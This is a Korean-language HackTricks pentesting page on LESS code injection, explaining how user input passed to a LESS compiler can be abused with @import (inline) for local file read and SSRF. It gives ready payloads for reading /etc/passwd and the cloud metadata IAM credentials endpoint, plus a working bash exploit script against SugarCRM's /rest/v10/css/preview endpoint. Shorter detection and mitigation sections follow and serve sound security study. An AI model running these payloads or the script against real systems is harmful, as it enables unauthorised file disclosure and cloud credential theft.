LESS Code Injection leading to SSRF & Local File Read

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

LESS는 변수, 믹스인, 함수 및 강력한 @import 지시어를 추가하는 인기 있는 CSS 전처리기입니다. 컴파일 중에 LESS 엔진은 @import 문에서 참조된 리소스를 가져와서 (inline) 옵션이 사용될 때 결과 CSS에 그 내용을 포함("인라인")합니다.

응용 프로그램이 사용자 제어 입력을 LESS 컴파일러에 의해 나중에 구문 분석되는 문자열에 연결할 때, 공격자는 임의의 LESS 코드를 주입할 수 있습니다. @import (inline)을 악용하여 공격자는 서버가 다음을 검색하도록 강제할 수 있습니다:

  • file:// 프로토콜을 통한 로컬 파일 (정보 유출 / 로컬 파일 포함).
  • 내부 네트워크 또는 클라우드 메타데이터 서비스의 원격 리소스 (SSRF).

이 기술은 SugarCRM ≤ 14.0.0 (/rest/v10/css/preview 엔드포인트)와 같은 실제 제품에서 발견되었습니다.

악용

  1. LESS 엔진에 의해 처리되는 스타일시트 문자열에 직접 포함된 매개변수를 식별합니다 (예: SugarCRM의 ?lm=).
  2. 현재 문을 닫고 새로운 지시어를 주입합니다. 가장 일반적인 원시 요소는:
  • ; – 이전 선언을 종료합니다.
  • } – 이전 블록을 닫습니다 (필요한 경우).
  1. @import (inline) '<URL>';를 사용하여 임의의 리소스를 읽습니다.
  2. 선택적으로 가져온 내용을 컴파일된 CSS에서 쉽게 추출할 수 있도록 가져오기 후에 마커 (data: URI)를 주입합니다.

로컬 파일 읽기

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd의 내용은 @@END@@ 마커 바로 앞에 HTTP 응답에 나타납니다.

SSRF – 클라우드 메타데이터

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

자동화된 PoC (SugarCRM 예제)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detection

  • 동적으로 생성된 .less 또는 .css 응답에서 비정제 쿼리 매개변수를 찾으십시오.
  • 코드 검토 중에 "@media all { .preview { ... ${userInput} ... } }"와 같은 구문이 LESS 렌더 함수에 전달되는지 검색하십시오.
  • 익스플로잇 시도에는 종종 @import, (inline), file://, http://169.254.169.254 등이 포함됩니다.

Mitigations

  • 신뢰할 수 없는 데이터를 LESS 컴파일러에 전달하지 마십시오.
  • 동적 값이 필요한 경우, 적절하게 이스케이프/정화하십시오 (예: 숫자 토큰으로 제한, 화이트리스트).
  • 가능할 경우 (inline) 임포트를 사용할 수 있는 기능을 비활성화하거나 허용된 프로토콜을 https로 제한하십시오.
  • 종속성을 최신 상태로 유지하십시오 – SugarCRM은 13.0.4 및 14.0.1 버전에서 이 문제를 패치했습니다.

Real-World Cases

ProductVulnerable EndpointImpact
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=인증되지 않은 SSRF 및 로컬 파일 읽기

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기